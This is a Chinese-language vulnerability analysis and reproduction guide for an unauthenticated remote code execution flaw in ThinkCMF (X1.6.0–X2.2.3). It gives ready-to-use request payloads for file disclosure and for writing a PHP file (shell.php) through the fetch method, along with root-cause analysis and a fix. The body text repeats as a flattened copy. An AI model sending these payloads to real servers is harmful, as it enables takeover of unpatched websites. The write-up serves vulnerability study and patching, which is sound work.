ThinkCMF框架任意内容包含漏洞分析复现
字数 1380 2025-08-15 21:31:32

ThinkCMF框架任意内容包含漏洞分析与复现

0x01 ThinkCMF框架简介

ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架,底层采用ThinkPHP3.2.3构建。其主要特点包括:

  • 采用灵活的应用机制
  • 框架提供基础管理功能
  • 开发者可通过应用形式进行扩展
  • 应用间可独立工作或通过系统协同

0x02 漏洞概述

漏洞类型:远程代码执行漏洞(无需任何权限)

漏洞成因:由于对用户输入参数处理不当,导致攻击者可以:

  1. 通过构造特定请求实现任意内容包含
  2. 实现任意文件写入并执行恶意代码

0x03 受影响版本

  • ThinkCMF X1.6.0
  • ThinkCMF X2.1.0
  • ThinkCMF X2.2.0
  • ThinkCMF X2.2.1
  • ThinkCMF X2.2.2
  • ThinkCMF X2.2.3

0x04 环境搭建

所需工具

  • Windows 2008R2
  • phpstudy2018
  • ThinkCMF X2.2.2版本

搭建步骤

  1. 下载ThinkCMF X2.2.2(提取码:wuhw)
  2. 将文件放入phpstudy的www目录下
  3. 通过浏览器访问,按照安装向导完成配置

0x05 漏洞复现

方法一:任意内容包含

Payload

?a=display&templateFile=README.md

效果:直接显示服务器上的README.md文件内容

方法二:任意文件写入

Payload

?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('shell.php','<?php phpinfo();?>')</php>

执行步骤

  1. 发送上述Payload后,页面显示空白
  2. 访问生成的shell.php文件
  3. 可看到phpinfo页面已加载,证明代码执行成功

0x06 漏洞原理分析

入口分析

  • 入口文件index.php通过gma参数指定分组模块方法
  • 可通过a参数直接调用PortalIndexController父类(HomebaseController)中的public方法

关键函数分析

display()函数

  • 位置:HomebaseController.class.php
  • 作用:加载模板和页面输出
  • 参数
    • templateFile:模板文件地址
    • charset:模板字符集
    • contentType:输出类型
    • content:输出内容

fetch()函数

  • 参数
    • templateFile:模板文件(可为空)
    • prefix:模板缓存前缀(可为空)
    • content:待注入的PHP代码

parseTemplate()方法

  • 位置:application/Common/Controller/AdminbaseController.class.php
  • 处理流程
    1. 判断模板主题是否存在
    2. 当模板主题不存在时,会在当前目录下查找
    3. 导致文件包含漏洞

0x07 漏洞修复方案

将以下类中的display和fetch函数的修饰符改为protected:

  • HomebaseController.class.php
  • AdminbaseController.class.php

附录:技术要点总结

  1. 漏洞触发点:通过a参数直接调用控制器中的public方法
  2. 利用条件:无需任何权限,可直接远程利用
  3. 危害程度:可导致服务器被完全控制(RCE)
  4. 检测方法:尝试访问?a=display&templateFile=README.md查看是否返回文件内容
  5. 防护建议
    • 及时升级到安全版本
    • 对用户输入进行严格过滤
    • 限制敏感函数的调用权限
ThinkCMF框架任意内容包含漏洞分析与复现 0x01 ThinkCMF框架简介 ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架,底层采用ThinkPHP3.2.3构建。其主要特点包括: 采用灵活的应用机制 框架提供基础管理功能 开发者可通过应用形式进行扩展 应用间可独立工作或通过系统协同 0x02 漏洞概述 漏洞类型 :远程代码执行漏洞(无需任何权限) 漏洞成因 :由于对用户输入参数处理不当,导致攻击者可以: 通过构造特定请求实现任意内容包含 实现任意文件写入并执行恶意代码 0x03 受影响版本 ThinkCMF X1.6.0 ThinkCMF X2.1.0 ThinkCMF X2.2.0 ThinkCMF X2.2.1 ThinkCMF X2.2.2 ThinkCMF X2.2.3 0x04 环境搭建 所需工具 Windows 2008R2 phpstudy2018 ThinkCMF X2.2.2版本 搭建步骤 下载ThinkCMF X2.2.2(提取码:wuhw) 将文件放入phpstudy的www目录下 通过浏览器访问,按照安装向导完成配置 0x05 漏洞复现 方法一:任意内容包含 Payload : 效果 :直接显示服务器上的README.md文件内容 方法二:任意文件写入 Payload : 执行步骤 : 发送上述Payload后,页面显示空白 访问生成的shell.php文件 可看到phpinfo页面已加载,证明代码执行成功 0x06 漏洞原理分析 入口分析 入口文件index.php通过gma参数指定分组模块方法 可通过a参数直接调用PortalIndexController父类(HomebaseController)中的public方法 关键函数分析 display()函数 位置 :HomebaseController.class.php 作用 :加载模板和页面输出 参数 : templateFile:模板文件地址 charset:模板字符集 contentType:输出类型 content:输出内容 fetch()函数 参数 : templateFile:模板文件(可为空) prefix:模板缓存前缀(可为空) content:待注入的PHP代码 parseTemplate()方法 位置 :application/Common/Controller/AdminbaseController.class.php 处理流程 : 判断模板主题是否存在 当模板主题不存在时,会在当前目录下查找 导致文件包含漏洞 0x07 漏洞修复方案 将以下类中的display和fetch函数的修饰符改为protected: HomebaseController.class.php AdminbaseController.class.php 附录:技术要点总结 漏洞触发点 :通过a参数直接调用控制器中的public方法 利用条件 :无需任何权限,可直接远程利用 危害程度 :可导致服务器被完全控制(RCE) 检测方法 :尝试访问 ?a=display&templateFile=README.md 查看是否返回文件内容 防护建议 : 及时升级到安全版本 对用户输入进行严格过滤 限制敏感函数的调用权限